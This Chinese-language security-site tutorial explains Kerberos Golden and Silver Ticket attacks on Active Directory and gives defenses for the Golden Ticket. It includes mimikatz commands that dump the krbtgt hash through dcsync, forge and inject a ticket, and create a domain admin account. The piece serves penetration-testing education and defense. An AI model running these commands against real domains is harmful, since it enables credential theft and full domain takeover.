freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透 | 多种票据攻击详解
2024-07-18 14:23:42

一、Golden Ticket

简介:

Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,其实就可以伪造任意用户的TICKET,

对于攻击者来说,实际上只要拿到了域控权限,就可以直接导出krbtgt的Hash值,,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket。

1721283397_6698b345237e2b7f331bf.png!small?1721283398022

原理:

在AS_REQ & AS_REP中,用户使用自身hash加密时间戳发送给KDC,KDC验证成功后返回用krbtgt hash加密的TGT票据。如果我们有krbtgt的hash,就可以自己给自己签发任意用户的tgt票据。

利用前提:

  • 拿到域控(没错就是拿到域控QAQ),适合做权限维持
  • 有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

条件要求:

  • 域名
  • 域的SID 值
  • 域的KRBTGT账户NTLM密码哈希
  • 伪造用户名

伪造金票

制作金票的条件:

1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的

实战中,通常使用Mimikatz来提取krbtgt的NTLM-Hash。

1.获取域名称

net view /domain

2.Mimikatz获取krbtgt的HTLM-Hash及域SID

mimikatz "lsadump::dcsync /domain:test666.com /user:krbtgt"

3..Mimikatz生成黄金票据

mimikatz "kerberos::golden /domain:admin.com /sid:S-1-5-21-1497092113-2272191533-193330055 /krbtgt:cac9c793eb3ba2c6abbcc9c14f18a41f /user:test666 /ticket:golden.kirbi"

利用步骤:

1.导出krbtgt的Hash

金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的

登录aaa域管用户,执行whoami可以看到是aaa用户:

使用一下命令导出用户krbtgt的hash:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

1721283412_6698b354d204f4ed20a5e.png!small?1721283414307

再执行以下命令可以看到krbtgt用户的SID:

1721283420_6698b35ca8d74fbf82090.png!small?1721283423207

利用mimikatz生成金票生成.kirbi文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称    //不是写入内存中的命令!

1721283429_6698b3650a952cdb6841d.png!small?1721283429786

二、金票的使用

登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中。

mimikatz # kerberos::purge         
mimikatz # kerberos::ptt ticket.kirbi

1721283438_6698b36ec4531fcdd6e3a.png!small?1721283439021

此时尝试创建一个abcc的域管账号,命令执行成功:

1721283447_6698b37753f48133e6b11.png!small?1721283447876

防御手段:

防御措施如下:

  • 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
  • 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
  • 建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
  • 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力

三、SILVER TICKET

原理


如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等


特点



1.不需要与KDC进行交互 2.需要server的NTLM hash

利用前提:

  • 拿到目标机器hash(是目标机,不一定是域控) 相当于server

条件要求:

  • 域名
  • 域sid
  • 目标服务器FQDN
  • 可利用的服务
  • 服务账号的NTML HASH
# 渗透测试 # 网络安全 # web安全 # 数据安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录